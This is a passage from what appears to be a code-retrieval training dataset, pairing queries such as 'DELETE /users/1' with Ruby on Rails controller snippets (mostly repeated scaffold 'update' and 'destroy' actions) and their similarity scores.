"def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to root_path}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = V1::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'V1::User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update \n user = User.where(:id => current_user.user)\n if user.update(user_params)\n render :json => {:user => user }\n else\n render :json => {:error => user.errors.full_messages.first}\n end\nend",
"def update\n\t\tif @user.update(user_params)\n\t\t\trender json: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def update\n @user = User.find(params[:id])\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(id, params = {})\n request(:put, \"/users/#{id}\", body: params)\n end",
"def update\n @user = current_api_user\n unless @user.update(user_params)\n render json: { error: @user.errors.full_messages.to_sentence }, status: :not_found\n end\n end",
"def update\n # not_found unless @user\n # @user = User.get(params[:id]) || not_found\n\n respond_to do |format|\n if @user.update(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => \"This user was successfully updated!\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: {\n status: 'OK',\n msg: 'User details have been updated.',\n error: 'nil'\n }, status: :accepted\n else\n not_good(406)\n end\n end",
"def update\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: I18n.t(:users_update) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = ::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:todo][:id])\n if @todo.update_attributes(user_params)\n render json: @todo\n else\n render nothing: true, status: :bad_request\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to user_path(@user), notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n @current_user.update(user_params)\n render json: @current_user\n end",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.72248507",
"0.7128768",
"0.7003289",
"0.6902831",
"0.68211025",
"0.681476",
"0.6707567",
"0.6692646",
"0.667998",
"0.66728854",
"0.66717863",
"0.666447",
"0.666447",
"0.66587144",
"0.66587144",
"0.6653841",
"0.6647832",
"0.6642772",
"0.6640692",
"0.6634225",
"0.66175383",
"0.66145873",
"0.6609172",
"0.66066575",
"0.6582737",
"0.658135",
"0.6581107",
"0.65785617",
"0.65604025",
"0.6558004",
"0.6558004",
"0.65429235",
"0.6536029",
"0.6515055",
"0.65137506",
"0.650549",
"0.65044487",
"0.65044487",
"0.6500681",
"0.64674795",
"0.64656246",
"0.64632845",
"0.6452952",
"0.6448593",
"0.64431345",
"0.6440601",
"0.64367294",
"0.6427621",
"0.6427621",
"0.6426918",
"0.6426237",
"0.6425996",
"0.6423854",
"0.6423854",
"0.6423452",
"0.6417562",
"0.64143384",
"0.64105093",
"0.64043516",
"0.6404183",
"0.6397541",
"0.63935435",
"0.6389889",
"0.6389614",
"0.6386804",
"0.63830155",
"0.6382917",
"0.6382128",
"0.63813",
"0.63772064",
"0.63738424",
"0.63737214",
"0.6372401",
"0.6372274",
"0.63699526",
"0.63624233",
"0.635997",
"0.6359779",
"0.63555807",
"0.6355325",
"0.6349326",
"0.6342009",
"0.6333391",
"0.633307",
"0.63277715",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328",
"0.6326328"
] | 0.0 | -1 |
DELETE /users/1 DELETE /users/1.json | def destroy
@user.destroy
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def DeleteUser id\n \n APICall(path: \"users/#{id}.json\",method: 'DELETE')\n \n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def delete(id)\n request(:delete, \"/users/#{id}.json\")\n end",
"def delete\n render json: Users.delete(params[\"id\"])\n end",
"def delete\n @user.destroy\n respond_to do |format|\n format.html { redirect_to v1_resources_users_all_path, notice: 'User was deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = V1::User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n \"\"\"\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n \"\"\"\n end",
"def destroy\n debugger\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n user = User.find(params[:id]) # from url, nothing to do with table\n user.destroy\n render json: user\n end",
"def destroy\n @user.destroy\n format.json { head :no_content }\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find_by_id_or_username params[:id]\n @user.destroy\n render api_delete @user\n end",
"def delete_user\n @user = User.find(params[:id])\n if @user.destroy\n render :json => @user\n else\n render :json => @user.errors.full_messages\n end\n end",
"def destroy\n @user = user.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @v1_user.destroy\n respond_to do |format|\n format.html { redirect_to v1_users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.7875006",
"0.7750684",
"0.7713516",
"0.7609021",
"0.7470493",
"0.7405674",
"0.7405674",
"0.7367919",
"0.7344157",
"0.7337963",
"0.7326088",
"0.7308071",
"0.73078537",
"0.73048145",
"0.72960234",
"0.728958",
"0.7289456",
"0.7287733",
"0.7282039",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7248638",
"0.7242844",
"0.7239835",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872",
"0.7229872"
] | 0.0 | -1 |
Use callbacks to share common setup or constraints between actions. | def set_user
@user = @application.users.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
